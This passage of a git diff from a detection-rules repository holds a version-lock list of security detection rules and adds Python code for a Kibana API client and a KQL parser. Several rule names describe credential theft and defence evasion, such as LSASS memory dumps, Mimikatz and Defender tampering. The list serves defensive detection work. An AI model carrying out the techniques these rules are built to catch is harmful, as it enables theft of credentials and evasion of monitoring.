Security Support Provider", + "sha256": "12abcbd73be1245f4c4a087b27c82ce94378f2a0372631b3391c8cf696e7cefa", + "type": "eql", + "version": 4 + }, + "e90ee3af-45fc-432e-a850-4a58cf14a457": { + "rule_name": "High Number of Okta User Password Reset or Unlock Attempts", + "sha256": "a3589119873fe764082ca62c45709fecf67be62df872d4dc816e0bebc64b5429", + "type": "threshold", + "version": 5 + }, + "e919611d-6b6f-493b-8314-7ed6ac2e413b": { + "rule_name": "AWS EC2 VM Export Failure", + "sha256": "106155918013377d2c3d72ff9b2d607114595c86cde344092595ee3340b5a9aa", + "type": "query", + "version": 2 + }, + "e94262f2-c1e9-4d3f-a907-aeab16712e1a": { + "rule_name": "Unusual Executable File Creation by a System Critical Process", + "sha256": "dd2054d650d5ab62a662b60e2b292f49f99261c71ae4c360686b78ea3f5362f8", + "type": "eql", + "version": 4 + }, + "e9abe69b-1deb-4e19-ac4a-5d5ac00f72eb": { + "rule_name": "Potential LSA Authentication Package Abuse", + "sha256": "8d77171cf0f3a00f7c7f86fa5a55cf2a6f92fb20fe2ac7515ec1c11255a015f9", + "type": "eql", + "version": 2 + }, + "e9ff9c1c-fe36-4d0d-b3fd-9e0bf4853a62": { + "rule_name": "Azure Automation Webhook Created", + "sha256": "6c51a2f7039139e42c9c5ec21c8e61544c1b2becdcebc6fc2923654efffa8169", + "type": "query", + "version": 5 + }, + "ea0784f0-a4d7-4fea-ae86-4baaf27a6f17": { + "rule_name": "SSH (Secure Shell) from the Internet", + "sha256": "a5b483bc27ea95cd71683dd2f631a41276da2ab442b4d14e2e843c1df6519efa", + "type": "query", + "version": 8 + }, + "ea248a02-bc47-4043-8e94-2885b19b2636": { + "rule_name": "AWS IAM Brute Force of Assume Role Policy", + "sha256": "05d4c9f087486af875f198e0211e9ed7966e7e37e52aa9cd375374e56eb87fb1", + "type": "threshold", + "version": 5 + }, + "eaa77d63-9679-4ce3-be25-3ba8b795e5fa": { + "rule_name": "Spike in Firewall Denies", + "sha256": "f388ca2c8b8c928235c3197913210b2230cf556ec9fd8573106701a3fb5d07b5", + "type": "machine_learning", + "version": 2 + }, + "eb079c62-4481-4d6e-9643-3ca499df7aaa": { + "rule_name": "External Alerts", + "sha256": "3c761c7b1a22a38d6334369cd822c00a6b2d954f9c650ffc564cf84ff8f8f403", + "type": "query", + "version": 4 + }, + "eb610e70-f9e6-4949-82b9-f1c5bcd37c39": { + "rule_name": "PowerShell Kerberos Ticket Request", + "sha256": "3b60bd1e0f1c27fe50d75322e0e94e81d6569d94d048a2382ea656abc9e4dcaf", + "type": "query", + "version": 1 + }, + "eb9eb8ba-a983-41d9-9c93-a1c05112ca5e": { + "rule_name": "Potential Disabling of SELinux", + "sha256": "062c1916cf85ed48401162e51109dc371e142f7983c9f404ab00cbc1846a3a40", + "type": "query", + "version": 7 + }, + "ebb200e8-adf0-43f8-a0bb-4ee5b5d852c6": { + "rule_name": "Mimikatz Memssp Log File Detected", + "sha256": "df9854e81170ce396fdfc35f6fdfb40c97ee5a8edc656f3e146e11102777b8fb", + "type": "eql", + "version": 4 + }, + "ebf1adea-ccf2-4943-8b96-7ab11ca173a5": { + "rule_name": "IIS HTTP Logging Disabled", + "sha256": "09683401b4fff4e70db85bd1e692716a304d674c78fa75013cb09ab1e0236835", + "type": "eql", + "version": 6 + }, + "ebfe1448-7fac-4d59-acea-181bd89b1f7f": { + "rule_name": "Process Execution from an Unusual Directory", + "sha256": "5aeab7a2f59aecec28d8a1dc26d6183214c0b766a78fe542ffa59d282b42e2db", + "type": "eql", + "version": 3 + }, + "ec8efb0c-604d-42fa-ac46-ed1cfbc38f78": { + "rule_name": "Microsoft 365 Inbox Forwarding Rule Created", + "sha256": "607732c4fa53c679773c0154a36d176db4fc120c4d05c90139bc610165d853b7", + "type": "query", + "version": 2 + }, + "ecf2b32c-e221-4bd4-aa3b-c7d59b3bc01d": { + "rule_name": "AWS RDS Instance/Cluster Stoppage", + "sha256": "e55c3cf978d32cfb164c5b8c8aa39ae007961fe094ad77f3c841b63d07cf2bcb", + "type": "query", + "version": 5 + }, + "ed9ecd27-e3e6-4fd9-8586-7754803f7fc8": { + "rule_name": "Azure Global Administrator Role Addition to PIM User", + "sha256": "081fa89e03c534503260ad3e556fc428c707a6d443a39e2608dfe96f6f59d34b", + "type": "query", + "version": 5 + }, + "eda499b8-a073-4e35-9733-22ec71f57f3a": { + "rule_name": "AdFind Command Activity", + "sha256": "aa759afe354ea02b1178b85a62e449549a60c66f29fa1f9bbc36cc6ecc03c7ab", + "type": "eql", + "version": 6 + }, + "edb91186-1c7e-4db8-b53e-bfa33a1a0a8a": { + "rule_name": "Attempt to Deactivate an Okta Application", + "sha256": "8da582f29fb72ed46e190081bbe82f4b0666ad3b883cb74b3986eff63610ef66", + "type": "query", + "version": 4 + }, + "edf8ee23-5ea7-4123-ba19-56b41e424ae3": { + "rule_name": "ImageLoad via Windows Update Auto Update Client", + "sha256": "6f44ec751ed71022884f3953e3b7f63827bdd82eab59cc5f47fbe4322f3f8414", + "type": "eql", + "version": 3 + }, + "ee5300a7-7e31-4a72-a258-250abb8b3aa1": { + "rule_name": "Unusual Print Spooler Child Process", + "sha256": "58881af4b4b5bc650329bddcf9a241e080d105eca0fc158b58ae94fe71c8e753", + "type": "eql", + "version": 3 + }, + "eea82229-b002-470e-a9e1-00be38b14d32": { + "rule_name": "Potential Privacy Control Bypass via TCCDB Modification", + "sha256": "db0c018993905d4f31b0d66f2b4dc8757c3c7d2228c2e56d1c15d4bc3309075c", + "type": "eql", + "version": 2 + }, + "ef862985-3f13-4262-a686-5f357bbb9bc2": { + "rule_name": "Whoami Process Activity", + "sha256": "fe2c910bebef36620062b269c0448a3fd9b43c00833778137700385bfcca4a7b", + "type": "eql", + "version": 7 + }, + "f036953a-4615-4707-a1ca-dc53bf69dcd5": { + "rule_name": "Unusual Child Processes of RunDLL32", + "sha256": "779861ae9a5a6d779252d3f50f03be4b3b396c034d7cb7d558b8742884bd10d8", + "type": "eql", + "version": 4 + }, + "f06414a6-f2a4-466d-8eba-10f85e8abf71": { + "rule_name": "Administrator Role Assigned to an Okta User", + "sha256": "66263b5a6a9cb7c17f2fd4a6c8c79078cc09d49f8f35ca811226da66e5002fea", + "type": "query", + "version": 4 + }, + "f0b48bbc-549e-4bcf-8ee0-a7a72586c6a7": { + "rule_name": "Attempt to Remove File Quarantine Attribute", + "sha256": "0f27489f0578b5596891555022bb25c63bfe725160ab7d93c8c02efb92a40463", + "type": "eql", + "version": 3 + }, + "f0bc081a-2346-4744-a6a4-81514817e888": { + "rule_name": "Azure Alert Suppression Rule Created or Modified", + "sha256": "75b2fa37eba863b363c80a411d125c57fe44e72971aec6689befafaf53212bea", + "type": "query", + "version": 2 + }, + "f0eb70e9-71e9-40cd-813f-bf8e8c812cb1": { + "rule_name": "Execution with Explicit Credentials via Scripting", + "sha256": "4f8fcc4f978c267b58a59c41a4e4f617ba6b8792e2aa22fb26f971279ea9f8cf", + "type": "query", + "version": 2 + }, + "f24bcae1-8980-4b30-b5dd-f851b055c9e7": { + "rule_name": "Creation of Hidden Login Item via Apple Script", + "sha256": "687a91ad38f1a50dc0a07c13c05aa7655159f7537889038cd0ef4c720ff24fd9", + "type": "eql", + "version": 1 + }, + "f28e2be4-6eca-4349-bdd9-381573730c22": { + "rule_name": "Potential OpenSSH Backdoor Logging Activity", + "sha256": "0bf0f53f6fd19a94d99b558b91d1893ebe242c85c4d77ad0f853700b0be8d614", + "type": "eql", + "version": 1 + }, + "f2c7b914-eda3-40c2-96ac-d23ef91776ca": { + "rule_name": "SIP Provider Modification", + "sha256": "2ba459343a12bb5eab29944e3968636c5b38e0007b17f8e5b6b8c12c58827110", + "type": "eql", + "version": 2 + }, + "f2f46686-6f3c-4724-bd7d-24e31c70f98f": { + "rule_name": "LSASS Memory Dump Creation", + "sha256": "1bb7f26beff47b579126c16832e72166cee2812ed3b488223fd921bcfc96f456", + "type": "eql", + "version": 5 + }, + "f30f3443-4fbb-4c27-ab89-c3ad49d62315": { + "rule_name": "AWS RDS Instance Creation", + "sha256": "0ec2175d57448fcee88f8c0959e36d170fb2c4316bbeb2724bc03fc65de12ae1", + "type": "query", + "version": 3 + }, + "f3475224-b179-4f78-8877-c2bd64c26b88": { + "rule_name": "WMI Incoming Lateral Movement", + "sha256": "697265472771d768d277926b42e99b11fc14f495b24c6f2b8aecc0cc10b6409d", + "type": "eql", + "version": 4 + }, + "f37f3054-d40b-49ac-aa9b-a786c74c58b8": { + "rule_name": "Sudo Heap-Based Buffer Overflow Attempt", + "sha256": "6e5898678bcd1b9c833fd090aabbf6e7e2fd69692405c532e8e7db74f71f9ae7", + "type": "threshold", + "version": 1 + }, + "f44fa4b6-524c-4e87-8d9e-a32599e4fb7c": { + "rule_name": "Persistence via Microsoft Office AddIns", + "sha256": "e10cd34197457df5ffa89b628dfbd7d9ccbb89c295b5b2de5d3a305df3a8d158", + "type": "eql", + "version": 3 + }, + "f494c678-3c33-43aa-b169-bb3d5198c41d": { + "rule_name": "Sensitive Privilege SeEnableDelegationPrivilege assigned to a User", + "sha256": "f289922736ffd6e74e180daa7f30a3b93686535463b8d9949f29722388e2a75f", + "type": "query", + "version": 1 + }, + "f545ff26-3c94-4fd0-bd33-3c7f95a3a0fc": { + "rule_name": "Windows Script Executing PowerShell", + "sha256": "9675f6c2d6b7bc26b770ed6f8bb5668058bb865b782423786a1ebb70bf5de797", + "type": "eql", + "version": 9 + }, + "f63c8e3c-d396-404f-b2ea-0379d3942d73": { + "rule_name": "Windows Firewall Disabled via PowerShell", + "sha256": "841cadac1dd3470f4549689e834749aef7cee102c1ab901ea1e65ea87af475d6", + "type": "eql", + "version": 3 + }, + "f675872f-6d85-40a3-b502-c0d2ef101e92": { + "rule_name": "Delete Volume USN Journal with Fsutil", + "sha256": "cc34e136a98a0c3da501db77e87e4418a36d9fa1a9af7f2809b0e876a0685baa", + "type": "eql", + "version": 9 + }, + "f683dcdf-a018-4801-b066-193d4ae6c8e5": { + "rule_name": "SoftwareUpdate Preferences Modification", + "sha256": "baedc4fcc8fd933fc5bf8e2f76c4ebb6acb9bded48fe91f102727b5978c797fa", + "type": "query", + "version": 1 + }, + "f766ffaf-9568-4909-b734-75d19b35cbf4": { + "rule_name": "Azure Service Principal Credentials Added", + "sha256": "4b1671042f16430f483118a068274d7d28eb2e09124df8365a96a357899dd742", + "type": "query", + "version": 1 + }, + "f772ec8a-e182-483c-91d2-72058f76a44c": { + "rule_name": "AWS CloudWatch Alarm Deletion", + "sha256": "5ba0f707d95e1455ba5ceaf33d751de1607ba2d8b4dca34d3c938c7768003ac4", + "type": "query", + "version": 7 + }, + "f7c4dc5a-a58d-491d-9f14-9b66507121c0": { + "rule_name": "Persistent Scripts in the Startup Directory", + "sha256": "e4fc24490738631aa609769246c6540ec8b95528a75c4ba57e34c547985bc047", + "type": "eql", + "version": 3 + }, + "f81ee52c-297e-46d9-9205-07e66931df26": { + "rule_name": "Microsoft Exchange Worker Spawning Suspicious Processes", + "sha256": "ec14e52e83826d9560d3fd5517acd8ea8328d2ee89f66fdfdc679bc2843e2eb3", + "type": "eql", + "version": 2 + }, + "f85ce03f-d8a8-4c83-acdc-5c8cd0592be7": { + "rule_name": "Suspicious Child Process of Adobe Acrobat Reader Update Service", + "sha256": "a1fab020030d01dfba1dc1c38293f9c6f11877acef2296e84bd9934cb13f0b29", + "type": "query", + "version": 1 + }, + "f874315d-5188-4b4a-8521-d1c73093a7e4": { + "rule_name": "Modification of AmsiEnable Registry Key", + "sha256": "0533f464fc056492b1be7563a334064ed3a94794b0fc726a8f6c58af99f3fc69", + "type": "eql", + "version": 3 + }, + "f9590f47-6bd5-4a49-bd49-a2f886476fb9": { + "rule_name": "Unusual Linux System Network Configuration Discovery", + "sha256": "e0d27723f14bfc1f2d57f46507f432ac8447aeedaa48ac60222193653c4ea2a8", + "type": "machine_learning", + "version": 2 + }, + "f994964f-6fce-4d75-8e79-e16ccc412588": { + "rule_name": "Suspicious Activity Reported by Okta User", + "sha256": "c0e090cd568639eb8a72c9c5cffc485a12fe5c1e837a054e3a9ed90da45f7748", + "type": "query", + "version": 6 + }, + "fa01341d-6662-426b-9d0c-6d81e33c8a9d": { + "rule_name": "Remote File Copy to a Hidden Share", + "sha256": "0bcc52e13022bb037d72173ac8df764dc3ed52b276fb65e89798744dcaac3aff", + "type": "eql", + "version": 3 + }, + "fb02b8d3-71ee-4af1-bacd-215d23f17efa": { + "rule_name": "Network Connection via Registration Utility", + "sha256": "cdee88e91070d7a8c85aaec9d595418a9392d5e0a0a561789d4a51234aa790c8", + "type": "eql", + "version": 10 + }, + "fb9937ce-7e21-46bf-831d-1ad96eac674d": { + "rule_name": "Auditd Max Failed Login Attempts", + "sha256": "10e3eb490a17e954aaf3fe1059a57a5b3f7f064eeea3e41b6ac7799bde4ce412", + "type": "query", + "version": 1 + }, + "fbd44836-0d69-4004-a0b4-03c20370c435": { + "rule_name": "AWS Configuration Recorder Stopped", + "sha256": "f3105951c9d7b6566cb1ba921365735bf3b75776e1329e5acf10bc0827876c00", + "type": "query", + "version": 6 + }, + "fc7c0fa4-8f03-4b3e-8336-c5feab0be022": { + "rule_name": "UAC Bypass Attempt via Elevated COM Internet Explorer Add-On Installer", + "sha256": "8519a65c58825cc9ac20c90228acf96311026b61e6cfd0e17b73f27434bdf4d2", + "type": "eql", + "version": 4 + }, + "fd4a992d-6130-4802-9ff8-829b89ae801f": { + "rule_name": "Potential Application Shimming via Sdbinst", + "sha256": "96d6852fdd698f7298c41ddc6f5f45e8b8a82fefa5c52e1d9183b97850470400", + "type": "eql", + "version": 8 + }, + "fd70c98a-c410-42dc-a2e3-761c71848acf": { + "rule_name": "Suspicious CertUtil Commands", + "sha256": "122b3b7f61d4146ddcd3551328c63fd1c56f01dad1616d83022d2265375ce1ac", + "type": "eql", + "version": 10 + }, + "fd7a6052-58fa-4397-93c3-4795249ccfa2": { + "rule_name": "Svchost spawning Cmd", + "sha256": "3d1669ea32950b0330c14ea0ed19dd4205c656d44f4860b304c3b103c487c717", + "type": "eql", + "version": 8 + }, + "fe794edd-487f-4a90-b285-3ee54f2af2d3": { + "rule_name": "Microsoft Windows Defender Tampering", + "sha256": "96e700cedbd912428d2141285aeb62d039ba2b0ef593f70f72c0faaca1896dd4", + "type": "eql", + "version": 2 + }, + "feeed87c-5e95-4339-aef1-47fd79bcfbe3": { + "rule_name": "MS Office Macro Security Registry Modifications", + "sha256": "5fdc6d766a59b36c16b02377c9284e22b5a2df1d9d3fcca9e215378f032e4e59", + "type": "eql", + "version": 1 + }, + "ff013cb4-274d-434a-96bb-fe15ddd3ae92": { + "rule_name": "Roshal Archive (RAR) or PowerShell File Downloaded from the Internet", + "sha256": "20fa3931651c3cd2a65942d63e382bf5e5a7faf3f3274c700fcea9cdcb94e099", + "type": "query", + "version": 9 + }, + "ff4dd44a-0ac6-44c4-8609-3f81bc820f02": { + "rule_name": "Microsoft 365 Exchange Transport Rule Creation", + "sha256": "ccdc2ee09712e2a2ea42f40d9aa8bbb35835b6251cfc22ca520f2f5eec5ae28e", + "type": "query", + "version": 5 + }, + "ff9b571e-61d6-4f6c-9561-eb4cca3bafe1": { + "rule_name": "GCP Firewall Rule Deletion", + "sha256": "d1a7cbc54b4f8910cb9a43b7d0d568b13418ca9fce205a9fbdcc2396a3baf618", + "type": "query", + "version": 5 + } +} \ No newline at end of file diff --git a/kibana/__init__.py b/kibana/__init__.py new file mode 100644 index 000000000..2e174fa04 --- /dev/null +++ b/kibana/__init__.py @@ -0,0 +1,15 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Wrapper around Kibana APIs for the Security Application.""" + +from .connector import Kibana +from .resources import RuleResource, Signal + +__all__ = ( + "Kibana", + "RuleResource", + "Signal" +) diff --git a/kibana/connector.py b/kibana/connector.py new file mode 100644 index 000000000..840e7dc69 --- /dev/null +++ b/kibana/connector.py @@ -0,0 +1,218 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Wrapper around requests.Session for HTTP requests to Kibana.""" +import json +import threading +import base64 +import sys +import uuid + +from elasticsearch import Elasticsearch +import requests + +_context = threading.local() + + +class Kibana(object): + """Wrapper around the Kibana SIEM APIs.""" + + CACHED = False + + def __init__(self, cloud_id=None, kibana_url=None, verify=True, elasticsearch=None, space=None): + """"Open a session to the platform.""" + self.authenticated = False + self.session = requests.Session() + self.session.verify = verify + self.verify = verify + + self.cloud_id = cloud_id + self.kibana_url = kibana_url.rstrip('/') if kibana_url else None + self.elastic_url = None + self.space = space if space and space.lower() != 'default' else None + self.status = None + + self.provider_name = None + self.provider_type = None + + if self.cloud_id: + self.cluster_name, cloud_info = self.cloud_id.split(":") + self.domain, self.es_uuid, self.kibana_uuid = \ + base64.b64decode(cloud_info.encode("utf-8")).decode("utf-8").split("$") + + kibana_url_from_cloud = f"https://{self.kibana_uuid}.{self.domain}:9243" + if self.kibana_url and self.kibana_url != kibana_url_from_cloud: + raise ValueError(f'kibana_url provided ({self.kibana_url}) does not match url derived from cloud_id ' + f'{kibana_url_from_cloud}') + self.kibana_url = kibana_url_from_cloud + + self.elastic_url = f"https://{self.es_uuid}.{self.domain}:9243" + + self.provider_name = 'cloud-basic' + self.provider_type = 'basic' + + self.session.headers.update({'Content-Type': "application/json", "kbn-xsrf": str(uuid.uuid4())}) + self.elasticsearch = elasticsearch + + if not verify: + from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + + @property + def version(self): + """Get the semantic version.""" + if self.status: + return self.status.get("version", {}).get("number") + + def url(self, uri): + """Get the full URL given a URI.""" + assert self.kibana_url is not None + # If a space is defined update the URL accordingly + uri = uri.lstrip('/') + if self.space: + uri = "s/{}/{}".format(self.space, uri) + return f"{self.kibana_url}/{uri}" + + def request(self, method, uri, params=None, data=None, error=True, verbose=True, raw=False, **kwargs): + """Perform a RESTful HTTP request with JSON responses.""" + params = params or {} + url = self.url(uri) + params = {k: v for k, v in params.items()} + body = None + if data is not None: + body = json.dumps(data) + + response = self.session.request(method, url, params=params, data=body, **kwargs) + if error: + try: + response.raise_for_status() + except requests.exceptions.HTTPError: + if verbose: + print(response.content.decode("utf-8"), file=sys.stderr) + raise + + if not response.content: + return + + return response.content if raw else response.json() + + def get(self, uri, params=None, data=None, error=True, **kwargs): + """Perform an HTTP GET.""" + return self.request('GET', uri, data=data, params=params, error=error, **kwargs) + + def put(self, uri, params=None, data=None, error=True, **kwargs): + """Perform an HTTP PUT.""" + return self.request('PUT', uri, params=params, data=data, error=error, **kwargs) + + def post(self, uri, params=None, data=None, error=True, **kwargs): + """Perform an HTTP POST.""" + return self.request('POST', uri, params=params, data=data, error=error, **kwargs) + + def patch(self, uri, params=None, data=None, error=True, **kwargs): + """Perform an HTTP PATCH.""" + return self.request('PATCH', uri, params=params, data=data, error=error, **kwargs) + + def delete(self, uri, params=None, error=True, **kwargs): + """Perform an HTTP DELETE.""" + return self.request('DELETE', uri, params=params, error=error, **kwargs) + + def login(self, kibana_username, kibana_password, provider_type=None, provider_name=None): + """Authenticate to Kibana using the API to update our cookies.""" + payload = {'username': kibana_username, 'password': kibana_password} + path = '/internal/security/login' + + try: + self.post(path, data=payload, error=True, verbose=False) + except requests.HTTPError as e: + # 7.10 changed the structure of the auth data + # providers dictated by Kibana configs in: + # https://www.elastic.co/guide/en/kibana/current/security-settings-kb.html#authentication-security-settings + # more details: https://discuss.elastic.co/t/kibana-7-10-login-issues/255201/2 + if e.response.status_code == 400 and '[undefined]' in e.response.text: + provider_type = provider_type or self.provider_type or 'basic' + provider_name = provider_name or self.provider_name or 'basic' + + payload = { + 'params': payload, + 'currentURL': '', + 'providerType': provider_type, + 'providerName': provider_name + } + self.post(path, data=payload, error=True) + else: + raise + + # Kibana will authenticate against URLs which contain invalid spaces + if self.space: + self.verify_space(self.space) + + self.authenticated = True + self.status = self.get("/api/status") + + # create ES and force authentication + if self.elasticsearch is None and self.elastic_url is not None: + self.elasticsearch = Elasticsearch(hosts=[self.elastic_url], http_auth=(kibana_username, kibana_password), + verify_certs=self.verify) + self.elasticsearch.info() + + # make chaining easier + return self + + def add_cookie(self, cookie): + """Add cookie to be used for auth (such as from an SSO session).""" + # the request to /api/status will also add the cookie to the cookie jar upon a successful response + self.session.headers['cookie'] = cookie + self.status = self.get('/api/status') + self.authenticated = True + + def logout(self): + """Quit the current session.""" + try: + self.get('/logout', raw=True, error=False) + except requests.exceptions.ConnectionError: + # for really short scoping from buildup to teardown, ES will cause a Max retry error + pass + self.status = None + self.authenticated = False + self.session = requests.Session() + self.elasticsearch = None + + def __del__(self): + if self.authenticated: + self.logout() + + def __enter__(self): + """Use the current Kibana instance for ``with`` syntax.""" + if not hasattr(_context, "stack"): + _context.stack = [] + + # Backup the previous Kibana instance and bind the current one + _context.stack.append(self) + return self + + def __exit__(self, exception_type, exception_value, traceback): + """Use the current Kibana for ``with`` syntax.""" + _context.stack.pop() + + @classmethod + def current(cls) -> 'Kibana': + """Get the currently used Kibana stack.""" + stack = getattr(_context, "stack", []) + if len(stack) == 0: + raise RuntimeError("No Kibana connector in scope!") + + return stack[-1] + + def verify_space(self, space): + """Verify a space is valid.""" + spaces = self.get('/api/spaces/space') + space_names = [s['name'] for s in spaces] + if space not in space_names: + raise ValueError(f'Unknown Kibana space: {space}') + + def current_user(self): + """Retrieve info for currently authenticated user.""" + if self.authenticated: + return self.get('/internal/security/me') diff --git a/kibana/resources.py b/kibana/resources.py new file mode 100644 index 000000000..8ec45cf19 --- /dev/null +++ b/kibana/resources.py @@ -0,0 +1,195 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import datetime +from typing import List, Type + +from .connector import Kibana + +DEFAULT_PAGE_SIZE = 10 + + +class BaseResource(dict): + BASE_URI = "" + ID_FIELD = "id" + + @property + def id(self): + return self.get(self.ID_FIELD) + + @classmethod + def bulk_create(cls, resources: list): + for r in resources: + assert isinstance(r, cls) + + responses = Kibana.current().post(cls.BASE_URI + "/_bulk_create", data=resources) + return [cls(r) for r in responses] + + def create(self): + response = Kibana.current().post(self.BASE_URI, data=self) + self.update(response) + return self + + @classmethod + def find(cls, per_page=None, **params) -> iter: + if per_page is None: + per_page = DEFAULT_PAGE_SIZE + + params.setdefault("sort_field", "_id") + params.setdefault("sort_order", "asc") + + return ResourceIterator(cls, cls.BASE_URI + "/_find", per_page=per_page, **params) + + @classmethod + def from_id(cls, resource_id) -> 'BaseResource': + return Kibana.current().get(cls.BASE_URI, params={cls.ID_FIELD: resource_id}) + + def put(self): + response = Kibana.current().put(self.BASE_URI, data=self.to_dict()) + self._update_from(response) + return self + + def delete(self): + return Kibana.current().delete(self.BASE_URI, params={"id": self.id}) + + +class ResourceIterator(object): + + def __init__(self, cls: Type[BaseResource], uri: str, per_page: int, **params: dict): + self.cls = cls + self.uri = uri + self.params = params + self.page = 0 + self.per_page = per_page + self.fetched = 0 + self.current = None + self.total = None + self.batch = [] + self.batch_pos = 0 + self.kibana = Kibana.current() + + def __iter__(self): + return self + + def _batch(self): + params = dict(per_page=self.per_page, page=self.page + 1, **self.params) + response = self.kibana.get(self.uri, params=params, error=True) + + self.page = response["page"] + self.per_page = response["perPage"] + self.total = response["total"] + self.batch = response["data"] + self.batch_pos = 0 + self.fetched += len(self.batch) + + def __next__(self) -> BaseResource: + if self.total is None or 0 < self.batch_pos == len(self.batch) == self.per_page: + self._batch() + + if self.batch_pos < len(self.batch): + result = self.cls(self.batch[self.batch_pos]) + self.batch_pos += 1 + return result + + raise StopIteration() + + +class RuleResource(BaseResource): + BASE_URI = "/api/detection_engine/rules" + + @staticmethod + def _add_internal_filter(is_internal: bool, params: dict) -> dict: + custom_filter = f'alert.attributes.tags:"__internal_immutable:{str(is_internal).lower()}"' + if params.get("filter"): + params["filter"] = f"({params['filter']}) and ({custom_filter})" + else: + params["filter"] = custom_filter + return params + + @classmethod + def find_custom(cls, **params): + params = cls._add_internal_filter(False, params) + return cls.find(**params) + + @classmethod + def find_elastic(cls, **params): + # GET params: + # * `sort_field` + # * `sort_order` + # * `filter` (accepts KQL) + # alert.attributes.name:mshta + # alert.attributes.enabled:true/false + # + # ... + # i.e. Rule.find_elastic(filter="alert.attributes.name:mshta") + params = cls._add_internal_filter(True, params) + return cls.find(**params) + + def put(self): + # id and rule_id are mutually exclusive + rule_id = self.get("rule_id") + self.pop("rule_id", None) + + try: + # apparently Kibana doesn't like `rule_id` for existing documents + return super(RuleResource, self).update() + except Exception: + # if it fails, restore the id back + if rule_id: + self["rule_id"] = rule_id + + raise + + +class Signal(BaseResource): + BASE_URI = "/api/detection_engine/signals" + + def __init__(self): + raise NotImplementedError("Signals can't be instantiated yet") + + @classmethod + def search(cls, query_dsl: dict): + return Kibana.current().post(f"{cls.BASE_URI}/search", data=query_dsl) + + @classmethod + def last_signal(cls) -> (int, datetime.datetime): + query_dsl = { + "aggs": { + "lastSeen": {"max": {"field": "@timestamp"}} + }, + 'query': { + "bool": { + "filter": [ + {"match": {"signal.status": "open"}} + ] + } + }, + "size": 0, + "track_total_hits": True + } + response = cls.search(query_dsl) + last_seen = response.get("aggregations", {}).get("last_seen", {}).get("value_as_string") + num_signals = response.get("hits", {}).get("total", {}).get("value") + + if last_seen is not None: + last_seen = datetime.datetime.strptime(last_seen, "%Y-%m-%dT%H:%M:%S.%f%z") + + return num_signals, last_seen + + @classmethod + def all(cls): + return cls.search({"query": {"bool": {"filter": {"match_all": {}}}}}) + + @classmethod + def set_status_many(cls, signal_ids: List[str], status: str) -> dict: + return Kibana.current().post(f"{cls.BASE_URI}/status", data={"signal_ids": signal_ids, "status": status}) + + @classmethod + def close_many(cls, signal_ids: List[str]): + return cls.set_status_many(signal_ids, "closed") + + @classmethod + def open_many(cls, signal_ids: List[str]): + return cls.set_status_many(signal_ids, "open") diff --git a/kql/__init__.py b/kql/__init__.py new file mode 100644 index 000000000..2c6b0ef23 --- /dev/null +++ b/kql/__init__.py @@ -0,0 +1,80 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import eql + +from . import ast +from .dsl import ToDsl +from .eql2kql import Eql2Kql +from .errors import KqlParseError, KqlCompileError +from .evaluator import FilterGenerator +from .kql2eql import KqlToEQL +from .parser import lark_parse, KqlParser + +__version__ = '0.1.6' +__all__ = ( + "ast", + "from_eql", + "get_evaluator", + "KqlParseError", + "KqlCompileError", + "lint", + "parse", + "to_dsl", + "to_eql", +) + + +def to_dsl(parsed, optimize=True, schema=None): + """Convert KQL to Elasticsearch Query DSL.""" + if not isinstance(parsed, ast.KqlNode): + parsed = parse(parsed, optimize, schema) + + return ToDsl.convert(parsed) + + +def to_eql(text, optimize=True, schema=None): + if isinstance(text, bytes): + text = text.decode("utf-8") + + lark_parsed = lark_parse(text) + + converted = KqlToEQL(text, schema=schema).visit(lark_parsed) + return converted.optimize(recursive=True) if optimize else converted + + +def parse(text, optimize=True, schema=None): + if isinstance(text, bytes): + text = text.decode("utf-8") + + lark_parsed = lark_parse(text) + converted = KqlParser(text, schema=schema).visit(lark_parsed) + + return converted.optimize(recursive=True) if optimize else converted + + +def lint(text): + if isinstance(text, bytes): + text = text.decode("utf-8") + + return parse(text, optimize=True).render() + + +def from_eql(tree, optimize=True): + if not isinstance(tree, eql.ast.EqlNode): + try: + tree = eql.parse_query(tree, implied_any=True) + except eql.EqlSemanticError: + tree = eql.parse_expression(tree) + + converted = Eql2Kql().walk(tree) + return converted.optimize(recursive=True) if optimize else converted + + +def get_evaluator(tree, optimize=False): + if not isinstance(tree, ast.KqlNode): + tree = parse(tree, optimize=optimize) + + return FilterGenerator().filter(tree) diff --git a/kql/ast.py b/kql/ast.py new file mode 100644 index 000000000..e6c7de11b --- /dev/null +++ b/kql/ast.py @@ -0,0 +1,245 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import re +from string import Template + +from eql.ast import BaseNode +from eql.errors import EqlCompileError +from eql.utils import is_number, is_string + +__all__ = ( + "KqlNode", + "Value", + "Null", + "Number", + "Boolean", + "List", + "Expression", + "String", + "Wildcard", + "NotValue", + "OrValues", + "AndValues", + "AndExpr", + "OrExpr", + "NotExpr", + "FieldComparison", + "Field", + "FieldRange", + "NestedQuery", + "Exists", +) + + +class KqlNode(BaseNode): + def optimize(self, recursive=True): + from .optimizer import Optimizer + return Optimizer().walk(self) + + def _render(self): + return BaseNode.render(self) + + def render(self, precedence=None, **kwargs): + """Render an EQL node and add parentheses to support orders of operation.""" + rendered = self._render(**kwargs) + if precedence is not None and self.precedence is not None and self.precedence > precedence: + return '({})'.format(rendered) + return rendered + + +class Value(KqlNode): + __slots__ = "value", + precedence = 1 + + def __init__(self, value): + self.value = value + + @classmethod + def from_python(cls, value): + if value is None: + return Null() + elif isinstance(value, bool): + return Boolean(value) + elif is_number(value): + return Number(value) + elif is_string(value): + return String(value) + else: + raise EqlCompileError("Unknown type {} for value {}".format(type(value).__name__, value)) + + +class Null(Value): + def __init__(self, value=None): + Value.__init__(self, None) + + def _render(self): + return 